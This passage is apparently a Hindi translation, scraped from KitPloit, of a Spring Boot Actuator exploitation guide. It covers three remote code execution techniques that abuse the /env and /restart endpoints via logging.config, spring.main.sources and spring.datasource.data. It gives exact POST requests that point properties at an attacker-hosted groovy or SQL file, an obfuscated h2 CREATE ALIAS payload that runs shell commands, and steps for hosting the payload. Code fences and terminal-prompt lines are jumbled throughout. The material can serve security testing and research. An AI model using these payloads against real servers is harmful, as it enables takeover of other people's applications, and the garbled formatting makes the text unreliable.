    • /env एंडपॉइंट पर POST अनुरोध भेजकर प्रॉपर्टी सेट कर सकते हैं
    • /restart एंडपॉइंट पर POST अनुरोध भेजकर एप्लिकेशन को पुनरारंभ कर सकते हैं
    • ⚠️ लक्ष्य हमलावर के HTTP सर्वर से अनुरोध कर सकता है (अनुरोध बाहरी नेटवर्क तक जा सकता है), अन्यथा पुनरारंभ करने पर प्रोग्राम असामान्य रूप से बाहर निकल जाएगा
    • ⚠️ यदि HTTP सर्वर विकृत groovy सिंटैक्स सामग्री वाली फ़ाइल लौटाता है, तो प्रोग्राम असामान्य रूप से बाहर निकल जाएगा
    • ⚠️ वातावरण में groovy निर्भरता मौजूद होनी चाहिए, अन्यथा प्रोग्राम असामान्य रूप से बाहर निकल जाएगा

    उपयोग विधि:

    चरण 1: groovy फ़ाइल होस्ट करें

    अपने नियंत्रण वाली VPS मशीन पर एक सरल HTTP सर्वर शुरू करें, पोर्ट को सामान्य HTTP सेवा पोर्ट (80, 443) का उपयोग करके सेट करें```bash

    使用 python 快速开启 http server

    python2 -m SimpleHTTPServer 80 python3 -m http.server 80

    root@kitploit:~
    रूट डायरेक्टरी में `groovy` से समाप्त होने वाली `example.groovy` फ़ाइल रखें, जिसमें निष्पादित करने के लिए groovy कोड हो, उदाहरण के लिए:```xml
    Runtime.getRuntime().exec("open -a Calculator")
    
    
    चरण 2: logging.config गुण सेट करें

    spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded

    logging.config=http://your-vps-ip/example.groovy

    root@kitploit:~
    spring 2.x```
    POST /actuator/env
    Content-Type: application/json
    
    {"name":"logging.config","value":"http://your-vps-ip/example.groovy"}
    
    चरण 3: एप्लिकेशन को पुनरारंभ करें

    spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded

    root@kitploit:~
    spring 2.x```
    POST /actuator/restart
    Content-Type: application/json
    
    

    भेद्यता सिद्धांत:

    1. लक्ष्य मशीन logging.config प्रॉपर्टी के माध्यम से logback लॉग कॉन्फ़िगरेशन फ़ाइल का URL पता सेट करती है।
    2. restart के बाद एप्लिकेशन पुनः प्रारंभ होने पर, प्रोग्राम सेट किए गए URL पते का अनुरोध करेगा।
    3. logback-classic घटक के ch.qos.logback.classic.util.ContextInitializer.java कोड फ़ाइल के तर्क में जाँच की जाती है कि URL groovy पर समाप्त होता है या नहीं।
    4. यदि URL groovy पर समाप्त होता है, तो अंततः फ़ाइल सामग्री में groovy कोड निष्पादित होगा, जिससे RCE भेद्यता उत्पन्न होगी।

    भेद्यता वातावरण:

    repository/springboot-restart-rce

    सामान्य पहुँच:``` http://127.0.0.1:9098/actuator/env

    root@kitploit:~
    ### 0x0B: restart spring.main.sources groovy RCE
    
    #### उपयोग शर्तें:
    
    - लक्ष्य वेबसाइट के `/env` एंडपॉइंट पर POST अनुरोध करके प्रॉपर्टी सेट कर सकते हैं
    - लक्ष्य वेबसाइट के `/restart` एंडपॉइंट पर POST अनुरोध करके एप्लिकेशन को पुनरारंभ कर सकते हैं
    - ⚠️ लक्ष्य हमलावर के HTTP सर्वर तक अनुरोध भेज सकता है (अनुरोध बाहरी नेटवर्क तक पहुँच सकता है), अन्यथा restart करने पर प्रोग्राम असामान्य रूप से बाहर निकल जाएगा
    - ⚠️ यदि HTTP सर्वर एक दोषपूर्ण groovy सिंटैक्स वाली फ़ाइल लौटाता है, तो प्रोग्राम असामान्य रूप से बाहर निकल जाएगा
    - ⚠️ वातावरण में groovy निर्भरता मौजूद होनी चाहिए, अन्यथा प्रोग्राम असामान्य रूप से बाहर निकल जाएगा
    
    #### उपयोग विधि:
    
    ##### चरण 1: groovy फ़ाइल होस्ट करें
    
    अपने नियंत्रण वाली VPS मशीन पर एक सरल HTTP सर्वर चालू करें, पोर्ट के रूप में सामान्य HTTP सेवा पोर्ट (80, 443) का उपयोग करने का प्रयास करें```bash
    # 使用 python 快速开启 http server
    
    python2 -m SimpleHTTPServer 80
    python3 -m http.server 80
    

    रूट निर्देशिका में groovy से समाप्त होने वाली example.groovy फ़ाइल रखें, जिसमें निष्पादित किए जाने वाले groovy कोड की सामग्री हो, उदाहरण के लिए:```xml Runtime.getRuntime().exec("open -a Calculator")

    root@kitploit:~
    ##### चरण 2: Set spring.main.sources property
    
    spring 1.x```
    POST /env
    Content-Type: application/x-www-form-urlencoded
    
    spring.main.sources=http://your-vps-ip/example.groovy
    

    spring 2.x``` POST /actuator/env Content-Type: application/json

    {"name":"spring.main.sources","value":"http://your-vps-ip/example.groovy"}

    root@kitploit:~
    ##### चरण तीन: एप्लिकेशन को पुनरारंभ करें
    
    spring 1.x```
    POST /restart
    Content-Type: application/x-www-form-urlencoded
    
    

    spring 2.x``` POST /actuator/restart Content-Type: application/json

    root@kitploit:~
    #### भेद्यता सिद्धांत:
    
    1. लक्ष्य मशीन `spring.main.sources` प्रॉपर्टी के माध्यम से ApplicationContext बनाने के लिए अतिरिक्त स्रोतों का URL सेट कर सकती है।
    2. restart के बाद एप्लिकेशन पुनः आरंभ होता है और प्रोग्राम सेट किए गए URL का अनुरोध करता है।
    3. `spring-boot` कंपोनेंट में `org.springframework.boot.BeanDefinitionLoader.java` फ़ाइल का कोड तर्क यह जांचता है कि URL `.groovy` से समाप्त होता है या नहीं।
    4. यदि URL `.groovy` से समाप्त होता है, तो अंततः फ़ाइल सामग्री में groovy कोड निष्पादित होता है, जिससे RCE भेद्यता उत्पन्न होती है।
    
    #### भेद्यता वातावरण:
    
    [repository/springboot-restart-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-restart-rce)
    
    सामान्य पहुँच:```
    http://127.0.0.1:9098/actuator/env
    

    0x0C:restart spring.datasource.data h2 database RCE

    उपयोग की शर्तें:

    • लक्ष्य वेबसाइट के /env इंटरफ़ेस पर POST अनुरोध भेजकर गुण सेट कर सकते हैं
    • लक्ष्य वेबसाइट के /restart इंटरफ़ेस पर POST अनुरोध भेजकर एप्लिकेशन को पुनरारंभ कर सकते हैं
    • वातावरण में h2database, spring-boot-starter-data-jpa से संबंधित निर्भरताएँ मौजूद होनी चाहिए
    • ⚠️ लक्ष्य हमलावर के HTTP सर्वर (अनुरोध बाहरी नेटवर्क तक जा सकता है) से अनुरोध कर सकता है, अन्यथा restart प्रोग्राम को असामान्य रूप से बाहर निकाल देगा
    • ⚠️ यदि HTTP सर्वर दोषपूर्ण h2 sql सिंटैक्स वाली फ़ाइल लौटाता है, तो प्रोग्राम असामान्य रूप से बाहर निकल जाएगा

    उपयोग विधि:

    चरण 1: sql फ़ाइल होस्ट करें

    अपने नियंत्रित vps मशीन पर एक सरल HTTP सर्वर चालू करें, पोर्ट के लिए सामान्य HTTP सेवा पोर्ट (80, 443) का उपयोग करने का प्रयास करें```bash

    使用 python 快速开启 http server

    python2 -m SimpleHTTPServer 80 python3 -m http.server 80

    root@kitploit:~
    रूट डायरेक्टरी में किसी भी नाम की फ़ाइल रखें, जिसमें निष्पादित किए जाने वाले h2 sql कोड हों, उदाहरण के लिए:
    
    > ⚠️ नीचे दिए गए payload में 'T5' विधि केवल एक बार restart के साथ निष्पादित की जा सकती है; बाद के restart के लिए नई विधि का नाम (जैसे T6) बदलना होगा और नया sql URL पता सेट करना होगा, तभी restart द्वारा पुनः उपयोग किया जा सकता है, अन्यथा दूसरी बार restart करने पर एप्लिकेशन असामान्य रूप से बाहर निकल जाएगा।```xml
    CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('/bin/bash','-c','open -a Calculator');
    
    चरण दो: spring.datasource.data गुण सेट करें

    spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded

    spring.datasource.data=http://your-vps-ip/example.sql

    root@kitploit:~
    spring 2.x```
    POST /actuator/env
    Content-Type: application/json
    
    {"name":"spring.datasource.data","value":"http://your-vps-ip/example.sql"}
    
    चरण तीन: एप्लिकेशन पुनः प्रारंभ करें

    spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded

    root@kitploit:~
    spring 2.x```
    POST /actuator/restart
    Content-Type: application/json
    
    

    भेद्यता का सिद्धांत:

    1. लक्ष्य मशीन spring.datasource.data प्रॉपर्टी के माध्यम से jdbc DML sql फ़ाइल का URL एड्रेस सेट कर सकती है
    2. एप्लिकेशन को restart करने के बाद, प्रोग्राम सेट किए गए URL एड्रेस का अनुरोध करता है
    3. spring-boot-autoconfigure कंपोनेंट में org.springframework.boot.autoconfigure.jdbc.DataSourceInitializer.java फ़ाइल के कोड लॉजिक में runScripts मेथड का उपयोग करके अनुरोधित URL सामग्री में h2 database sql कोड निष्पादित किया जाता है, जिससे RCE भेद्यता उत्पन्न होती है

    भेद्यता वातावरण:

    repository/springboot-restart-rce

    सामान्य पहुंच:``` http://127.0.0.1:9098/actuator/env

    root@kitploit:~
    टूल डाउनलोड करें